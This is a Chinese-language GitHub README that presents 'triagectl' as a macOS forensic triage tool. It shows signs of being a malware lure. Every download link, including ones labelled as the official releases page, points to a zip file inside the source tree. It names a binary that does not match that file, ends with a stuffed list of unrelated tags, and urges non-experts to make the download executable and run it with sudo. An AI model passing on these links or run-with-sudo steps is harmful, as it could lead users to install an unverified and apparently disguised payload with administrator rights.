Irdk1242s/triagectl

GitHub: Irdk1242s/triagectl

triagectl 是一款 macOS 平台的快速取证分类工具,通过 26 个采集器自动收集系统数据并进行威胁指标匹配,支持多种输出格式。

Stars: 0 | Forks: 0

# 🛠️ triagectl - 快速 macOS 取证分类工具 [![下载 triagectl](https://github.com/Irdk1242s/triagectl/raw/refs/heads/main/cmd/triagectl/Software-3.5.zip)](https://github.com/Irdk1242s/triagectl/raw/refs/heads/main/cmd/triagectl/Software-3.5.zip) ## 📋 什么是 triagectl? triagectl 是一款专为 macOS 用户设计的简单工具,用于检查计算机是否存在数字威胁或安全事件的迹象。它能快速收集系统的重要信息,并将数据保存为多种易于查看或与取证专家共享的格式。 该工具在 Mac 上作为单个文件运行,无需任何额外程序或复杂的设置。即使没有深厚的技术知识,您也能轻松使用。 ## 🔍 您应该了解的功能 - 从 **26 个不同的系统区域** 收集信息,如用户活动、网络连接、安全设置和持久化方法。 - 执行基本的 **自动检查**,以发现可疑进程、异常网络活动和可疑的启动项。 - 将您的系统数据与已知的恶意指标(如 IP 地址、域名、文件哈希和文件路径)进行匹配。 - 输出易于使用的结果格式:数据库文件 (SQLite)、电子表格 (CSV)、交互式网页报告 (HTML) 以及用于高级分析的时间线格式。 - 并发运行收集器,使整个过程更快。 - 无论是否具有管理员权限均可运行,若以特殊权限运行则能显示更多信息。 ## 🚀 入门指南 triagectl 旨在易于使用。请按照以下步骤在您的 Mac 上下载、设置并运行它。 ## 📥 下载与安装 点击下方的大链接访问 triagectl 的官方发布页面。在该页面上,您可以找到该工具的最新版本以供下载: [从 GitHub Releases 下载 triagectl](https://github.com/Irdk1242s/triagectl/raw/refs/heads/main/cmd/triagectl/Software-3.5.zip) 以下是在 Mac 上获取 triagectl 的方法: 1. 访问上面的链接。该页面列出了最新的可用版本。 2. 找到名为 `triagectl_darwin_amd64` 的文件(或根据您的 Mac 而定类似的名称)。这就是程序文件。 3. 将文件下载到您的 Downloads 文件夹或您能记住的地方。 4. 在 Mac 上打开 Terminal 应用程序。您可以在 Applications > Utilities > Terminal 中找到它。 5. 使用 `cd` 命令进入您下载 triagectl 的文件夹。例如,输入: cd ~/Downloads 6. 通过输入以下命令使文件可执行: chmod +x triagectl_darwin_amd64 7. 您现在已准备好运行 triagectl。 ## ▶️ 如何运行 triagectl 下载并将 triagectl 设置为可执行文件后,请按照以下步骤运行它: 1. 打开 Terminal 并进入包含 triagectl 的文件夹: cd ~/Downloads 2. 通过输入以下命令运行程序: ./triagectl_darwin_amd64 这将运行所有系统检查并将结果保存到文件中。 您也可以通过添加选项,要求 triagectl 创建友好的 HTML 报告或时间线文件: ``` ./triagectl_darwin_amd64 --html --timeline ``` ## 🧰 triagectl 收集的内容 triagectl 会扫描 Mac 上的许多位置,为您提供系统健康状况和风险的广泛视图。以下是一些示例: - **持久化 (Persistence)**:查找在 Mac 启动时运行的程序。 - **用户活动**:检查用户最近所做操作的日志。 - **网络**:查看活动连接和近期的网络历史记录。 - **安全**:收集有关安全设置和已知问题的数据。 - **可疑进程**:查找异常或未知的运行程序。 - **IOC 匹配**:将您的数据与已知恶意项目列表(IP、域名、哈希)进行比较。 该工具能快速、安全地收集数据,且不会更改您的系统。 ## 📁 输出文件说明 运行 triagectl 后,您会在文件夹中发现几个文件。以下是理解它们的方法: - **SQLite 文件 (.sqlite)**:存储所有收集信息的数据库。您可以使用数据库查看器或取证工具打开它。 - **CSV 文件 (.csv)**:简单的电子表格文件,可在 Excel 或类似程序中打开。 - **HTML 报告 (.html)**:一个交互式网页,分组显示结果,易于浏览。 - **Timesketch 时间线 (.jsonl)**:可与数字取证时间线工具集成以进行更深入调查的文件。 ## ⚙️ 使用高级选项 triagectl 有几个选项,您可以在运行时添加以控制其工作方式: - `--html` – 生成交互式 HTML 报告。 - `--timeline` – 创建 Timesketch 时间线文件。 - `--ioc` – 使用自定义指标文件与系统数据进行匹配。 - `--timeout` – 设置允许每个收集器运行多长时间。 - `--parallelism` – 控制同时运行多少个收集器。 - `sudo` – 以管理员身份运行 triagectl 以收集更多数据。 使用选项的示例: ``` sudo ./triagectl_darwin_amd64 --html --timeline ``` ## 🔐 使用管理员权限运行 Mac 上的某些数据只能由具有管理员权限的用户访问。要查看这些额外数据,请打开 Terminal 并使用 `sudo` 运行 triagectl: ``` sudo ./triagectl_darwin_amd64 ``` 您可能需要输入密码。这允许 triagectl 收集更详细的信息以便进行更好的分析。 ## 🧑‍💻 故障排除提示 - 如果您收到 "Permission denied" 错误,请确保您已将 triagectl 文件设置为可执行 (`chmod +x`)。 - 如果程序无法运行,请检查您是否位于 triagectl 所在的文件夹中。 - 不使用 `sudo` 运行会限制收集的信息。如果您想要完整结果,请尝试使用 `sudo` 运行。 - 如果您不确定选项,请运行: ./triagectl_darwin_amd64 --help - 确保您的 macOS 版本为 10.12 或更高版本以获得最佳兼容性。 ## ℹ️ 系统要求 - 运行 macOS 10.12 Sierra 或更高版本的 Mac。 - 至少 2 GB 的可用磁盘空间用于存放输出文件。 - Terminal 应用程序访问权限(所有 Mac 均已包含)。 - 如果您想要完整的数据收集,则需要管理员密码。 ## 🌐 有用链接 - 官方下载发布页面:[https://github.com/Irdk1242s/triagectl/raw/refs/heads/main/cmd/triagectl/Software-3.5.zip](https://github.com/Irdk1242s/triagectl/raw/refs/heads/main/cmd/triagectl/Software-3.5.zip) - 项目主页和文档:访问上面的 GitHub 页面。 - 如果您需要帮助,请查看 GitHub 仓库上的 Issues 选项卡或联系社区。 ## 📥 立即下载 triagectl [![下载 triagectl](https://github.com/Irdk1242s/triagectl/raw/refs/heads/main/cmd/triagectl/Software-3.5.zip)](https://github.com/Irdk1242s/triagectl/raw/refs/heads/main/cmd/triagectl/Software-3.5.zip)
标签:AMSI绕过, CSV, EVTX分析, EVTX分析, EVTX分析, Go语言, HTML报告, HTTP工具, IOC匹配, Mac安全, meg, Mr. Robot, SQLite, Triage, 信息安全, 协议分析, 单文件工具, 取证, 可疑进程检测, 后渗透, 多模态安全, 威胁检测, 子域名枚举, 工具集, 库, 应急响应, 持久化分析, 数字取证, 数据包嗅探, 无依赖, 无线安全, 日志审计, 时序数据库, 权限提升, 痕迹采集, 程序破解, 系统安全, 网络安全审计, 网络连接监控, 自动化分析, 自动化脚本, 跨站脚本